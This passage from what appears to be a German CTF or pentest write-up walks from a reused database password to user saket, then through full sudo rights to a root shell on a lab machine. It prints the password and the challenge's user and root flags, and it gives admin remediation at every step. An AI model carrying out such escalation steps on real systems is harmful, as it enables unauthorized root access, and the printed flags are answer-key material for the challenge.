Schritt 2: Wechsel zum Benutzer `saket`

Wir verwenden den `su`-Befehl und das Passwort aus der Datenbank.

www-data@ubuntu:/$ su saket
Password: Saket@#$1337
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

saket@ubuntu:/$
                    

Analyse: `su saket` wird ausgeführt, um zum Benutzer `saket` zu wechseln. Das Passwort `Saket@#$1337` wird eingegeben.

Bewertung: Erfolgreich! Wir sind nun als Benutzer `saket` angemeldet. Die Passwort-Wiederverwendung zwischen der benutzerdefinierten Datenbanktabelle und dem Systemkonto ist bestätigt.

Empfehlung (Pentester): Überprüfen Sie die `sudo`-Rechte für `saket` mit `sudo -l`.
Empfehlung (Admin): Setzen Sie unterschiedliche, starke Passwörter für alle Konten (System, Datenbank, Anwendung). Entfernen Sie Klartext-Passwörter aus Datenbanken.

Schritt 3: Überprüfung der `sudo`-Rechte

Wir prüfen, welche Befehle `saket` mit `sudo` ausführen darf.

saket@ubuntu:/$ sudo -l
[sudo] password for saket: Saket@#$1337
Matching Defaults entries for saket on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User saket may run the following commands on ubuntu:
    (ALL : ALL) ALL
                     

Analyse: `sudo -l` listet die `sudo`-Berechtigungen für den aktuellen Benutzer (`saket`) auf.

Bewertung: **Kritischer Fund!** Der Benutzer `saket` hat volle `sudo`-Rechte (`(ALL : ALL) ALL`). Er kann jeden Befehl als jeder Benutzer (einschließlich Root) ausführen.

Empfehlung (Pentester): Werden Sie Root mit `sudo su` oder `sudo /bin/bash`.
Empfehlung (Admin): Weisen Sie `sudo`-Rechte nach dem Prinzip der geringsten Rechte zu. `(ALL : ALL) ALL` sollte nur absolut notwendigen Administratorkonten vorbehalten sein und nicht einem normalen Benutzer wie `saket`.

Schritt 4: Erlangung von Root-Rechten

Wir nutzen die `sudo`-Rechte, um eine Root-Shell zu erhalten.

saket@ubuntu:/$ sudo su
root@ubuntu:/# 
                     

Analyse: `sudo su` führt den `su`-Befehl mit Root-Rechten aus, was uns direkt zu einer Root-Shell wechselt, ohne das Root-Passwort zu benötigen.

Bewertung: Erfolg! Wir haben Root-Rechte erlangt.

Empfehlung (Pentester): Bestätigen Sie mit `id`. Sammeln Sie die Flags.
Empfehlung (Admin): Korrigieren Sie die übermäßigen `sudo`-Rechte für `saket`.

root@ubuntu:/# id
uid=0(root) gid=0(root) groups=0(root)
                     

Analyse: Bestätigt die Root-Identität.

Bewertung: Privilegienerweiterung abgeschlossen.

Empfehlung (Pentester): Flags sammeln.
Empfehlung (Admin): Keine Aktion.

Risikobewertung: Die Kombination aus einer unsicheren SeedDMS-Konfiguration (Zugriff auf `settings.xml`), der Speicherung von Klartext-Passwörtern in einer Datenbank und übermäßigen `sudo`-Rechten für einen normalen Benutzer stellt ein kritisches Risiko dar. Es ermöglichte einem Angreifer mit Netzwerkzugriff die schrittweise Kompromittierung bis hin zu vollen Root-Rechten.

Empfehlungen (Zusammenfassung):

Flags

cat /home/saket/user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A